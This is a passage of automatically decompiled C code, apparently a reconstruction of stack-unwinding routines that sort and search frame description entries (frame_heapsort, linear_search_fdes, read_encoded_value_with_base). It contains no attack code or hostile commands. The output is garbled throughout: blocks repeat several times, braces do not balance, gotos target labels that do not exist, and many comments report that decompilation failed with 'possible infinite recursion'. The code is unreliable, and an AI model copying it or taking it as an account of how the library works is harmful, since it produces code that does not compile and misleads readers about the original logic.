v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a870a
v43 = g98;
v46 = v43;
v117 = v43 - 0x887a4;
// branch -> 0x80a8713
}
// 0x80a8713
g102 = v88;
if (v88 == 0) {
// 0x80a8d40
g96 = v92;
g97 = v117;
g95 = v71;
g99 -= 4;
frame_heapsort(a1, 0, 0);
v49 = v50;
v120 = (int32_t *)0x80a8693;
// branch -> 0x80a8878
} else {
// 0x80a8721
v18 = (int32_t *)(v92 + 4);
v94 = *v18;
if (v94 != 0) {
// 0x80a8b00
v61 = v46 + 0x7888;
v36 = (struct struct_118 *)v61;
v12 = v92 + 8;
*(int32_t *)(v88 + 8) = v61;
v14 = v12;
g101 = v14;
g96 = 1;
if (v94 != 1) {
v11 = 1;
v15 = v14;
while (true) {
// 0x80a8b44
v108 = (int32_t)v36;
g1 = v15 < v108;
g103 = v15 == v108;
if (v15 == v108) {
goto lab_0x6c94920;
}
goto lab_0xafb6150;
}
}
// 0x80a8b85
v32 = 0;
v87 = 0;
v82 = 0;
v81 = 0;
v29 = (int32_t *)v93;
// branch -> 0x80a8bd5
while (true) {
// 0x80a8bd5
v86 = v87;
v80 = v81;
v28 = v29;
// branch -> 0x80a8bd5
goto lab_0x6d0fe20;
}
}
// 0x80a8746
*v18 = 0;
g96 = v88;
v19 = (int32_t *)(v88 + 4);
*v19 = 0;
v57 = g102;
v73 = (int32_t)(int32_t *)v93;
g101 = v73;
v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4);
g95 = v16;
if (v16 != v56) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a8773
g96 = v57;
g97 = v117;
g95 = (int32_t)v4;
frame_heapsort(a1, 0, 0);
v96 = v38;
v95 = (int32_t)v96;
v97 = *v19;
g96 = v97;
if (v97 != 0) {
// 0x80a879d
v125 = v95 + 8;
v22 = (int32_t *)(v88 + 8 + 4 * v97);
v110 = v96->e1;
// branch -> 0x80a87cf
while (true) {
// 0x80a87cf
v128 = v97 - 1;
v20 = (int32_t *)((int32_t)v22 - 4);
v21 = (struct struct_118 *)*v20;
v41 = v21;
v98 = (int32_t)v110;
if (v110 == NULL) {
v52 = (int32_t *)0x80a8783;
v109 = NULL;
goto lab_0x6cebf10;
}
goto lab_0x6ca6790;
}
}
// 0x80a886a
free(v17);
v49 = (int32_t *)0x80a8783;
v120 = (int32_t *)0x80a8875;
// branch -> 0x80a8878
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
v50 = (int32_t *)0x80a86d1;
}
} else {
v50 = v2;
}
}
// 0x80a86db
v93 = v38;
v92 = (int32_t)v93;
if (v93 != NULL) {
// 0x80a86eb
g96 = v56;
if (v93->e1 != v27) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
}
// 0x80a86fa
v71 = (int32_t)v4;
g101 = v71;
v72 = v71 + 16;
if (*(char *)v72 == 4) {
// 0x80a8ae0
v45 = g98;
if (*(int16_t *)v72 == 2040) {
// 0x80a8af2
v46 = v45;
v117 = v45 - 0x89f44;
// branch -> 0x80a8713
} else {
// 0x80a8ce4
v65 = v45 - 0x89f24;
g101 = v65;
v46 = v45;
v117 = v65;
// branch -> 0x80a8713
}
// 0x80a8713
g102 = v88;
if (v88 == 0) {
// 0x80a8d40
g96 = v92;
g97 = v117;
g95 = v71;
g99 -= 4;
frame_heapsort(a1, 0, 0);
v49 = v50;
v120 = (int32_t *)0x80a8693;
// branch -> 0x80a8878
} else {
// 0x80a8721
v18 = (int32_t *)(v92 + 4);
v94 = *v18;
if (v94 != 0) {
// 0x80a8b00
v61 = v46 + 0x7888;
v36 = (struct struct_118 *)v61;
v12 = v92 + 8;
*(int32_t *)(v88 + 8) = v61;
v14 = v12;
g101 = v14;
g96 = 1;
if (v94 != 1) {
v11 = 1;
v15 = v14;
while (true) {
// 0x80a8b44
v108 = (int32_t)v36;
g1 = v15 < v108;
g103 = v15 == v108;
if (v15 == v108) {
goto lab_0x6c94920;
}
goto lab_0xafb6150;
}
}
// 0x80a8b85
v32 = 0;
v87 = 0;
v82 = 0;
v81 = 0;
v29 = (int32_t *)v93;
// branch -> 0x80a8bd5
while (true) {
// 0x80a8bd5
v86 = v87;
v80 = v81;
v28 = v29;
// branch -> 0x80a8bd5
goto lab_0x6d0fe20;
}
}
// 0x80a8746
*v18 = 0;
g96 = v88;
v19 = (int32_t *)(v88 + 4);
*v19 = 0;
v57 = g102;
v73 = (int32_t)(int32_t *)v93;
g101 = v73;
v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4);
g95 = v16;
if (v16 != v56) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a8773
g96 = v57;
g97 = v117;
g95 = (int32_t)v4;
frame_heapsort(a1, 0, 0);
v96 = v38;
v95 = (int32_t)v96;
v97 = *v19;
g96 = v97;
if (v97 != 0) {
// 0x80a879d
v125 = v95 + 8;
v22 = (int32_t *)(v88 + 8 + 4 * v97);
v110 = v96->e1;
// branch -> 0x80a87cf
while (true) {
// 0x80a87cf
v128 = v97 - 1;
v20 = (int32_t *)((int32_t)v22 - 4);
v21 = (struct struct_118 *)*v20;
v41 = v21;
v98 = (int32_t)v110;
if (v110 == NULL) {
v52 = (int32_t *)0x80a8783;
v109 = NULL;
goto lab_0x6cebf10;
}
goto lab_0x6ca6790;
}
}
// 0x80a886a
free(v17);
v49 = (int32_t *)0x80a8783;
v120 = (int32_t *)0x80a8875;
// branch -> 0x80a8878
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v119;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a870a
v43 = g98;
v46 = v43;
v117 = v43 - 0x887a4;
// branch -> 0x80a8713
}
// 0x80a8713
g102 = v88;
if (v88 == 0) {
// 0x80a8d40
g96 = v92;
g97 = v117;
g95 = v71;
g99 -= 4;
frame_heapsort(a1, 0, 0);
v49 = v50;
v120 = (int32_t *)0x80a8693;
// branch -> 0x80a8878
} else {
// 0x80a8721
v18 = (int32_t *)(v92 + 4);
v94 = *v18;
if (v94 != 0) {
// 0x80a8b00
v61 = v46 + 0x7888;
v36 = (struct struct_118 *)v61;
v12 = v92 + 8;
*(int32_t *)(v88 + 8) = v61;
v14 = v12;
g101 = v14;
g96 = 1;
if (v94 != 1) {
v11 = 1;
v15 = v14;
while (true) {
// 0x80a8b44
v108 = (int32_t)v36;
g1 = v15 < v108;
g103 = v15 == v108;
if (v15 == v108) {
goto lab_0x6c94920;
}
goto lab_0xafb6150;
}
}
// 0x80a8b85
v32 = 0;
v87 = 0;
v82 = 0;
v81 = 0;
v29 = (int32_t *)v93;
// branch -> 0x80a8bd5
while (true) {
// 0x80a8bd5
v86 = v87;
v80 = v81;
v28 = v29;
// branch -> 0x80a8bd5
goto lab_0x6d0fe20;
}
}
// 0x80a8746
*v18 = 0;
g96 = v88;
v19 = (int32_t *)(v88 + 4);
*v19 = 0;
v57 = g102;
v73 = (int32_t)(int32_t *)v93;
g101 = v73;
v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4);
g95 = v16;
if (v16 != v56) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a8773
g96 = v57;
g97 = v117;
g95 = (int32_t)v4;
frame_heapsort(a1, 0, 0);
v96 = v38;
v95 = (int32_t)v96;
v97 = *v19;
g96 = v97;
if (v97 != 0) {
// 0x80a879d
v125 = v95 + 8;
v22 = (int32_t *)(v88 + 8 + 4 * v97);
v110 = v96->e1;
// branch -> 0x80a87cf
while (true) {
// 0x80a87cf
v128 = v97 - 1;
v20 = (int32_t *)((int32_t)v22 - 4);
v21 = (struct struct_118 *)*v20;
v41 = v21;
v98 = (int32_t)v110;
if (v110 == NULL) {
v52 = (int32_t *)0x80a8783;
v109 = NULL;
goto lab_0x6cebf10;
}
goto lab_0x6ca6790;
}
}
// 0x80a886a
free(v17);
v49 = (int32_t *)0x80a8783;
v120 = (int32_t *)0x80a8875;
// branch -> 0x80a8878
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
if (linear_search_fdes(a1, 0, 0) == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
}
} else {
v121 = v129;
v48 = v51;
v118 = v120;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) == 0) {
// 0x80a88dc
v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
if (v5 < v103) {
goto lab_0x6cc57e0;
}
goto lab_0x6cc77a0;
}
}
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 20;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v106 > v5) {
goto lab_0x6cd4070;
}
goto lab_0x6cd67b0;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
if (v113 > v5) {
goto lab_0x6ce48f0;
}
goto lab_0x6ce6200;
}
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80a8878
v100 = v38;
v58 = (int32_t)v4;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v49;
v119 = v120;
// branch -> 0x80a888d
} else {
v51 = v2;
v119 = (int32_t *)0x80a866f;
}
} else {
v51 = v2;
v119 = v134;
}
} else {
v27 = v10;
// 0x80a8659
v56 = (int32_t)v27;
__libc_malloc((int32_t *)(4 * v56 + 8), v39, (int32_t)v1);
v66 = g95;
v38 = (struct struct_6 *)v66;
if (v66 != 0) {
// 0x80a8683
*(int32_t *)(v66 + 4) = 0;
__libc_malloc((int32_t *)g101, v39, (int32_t)v1);
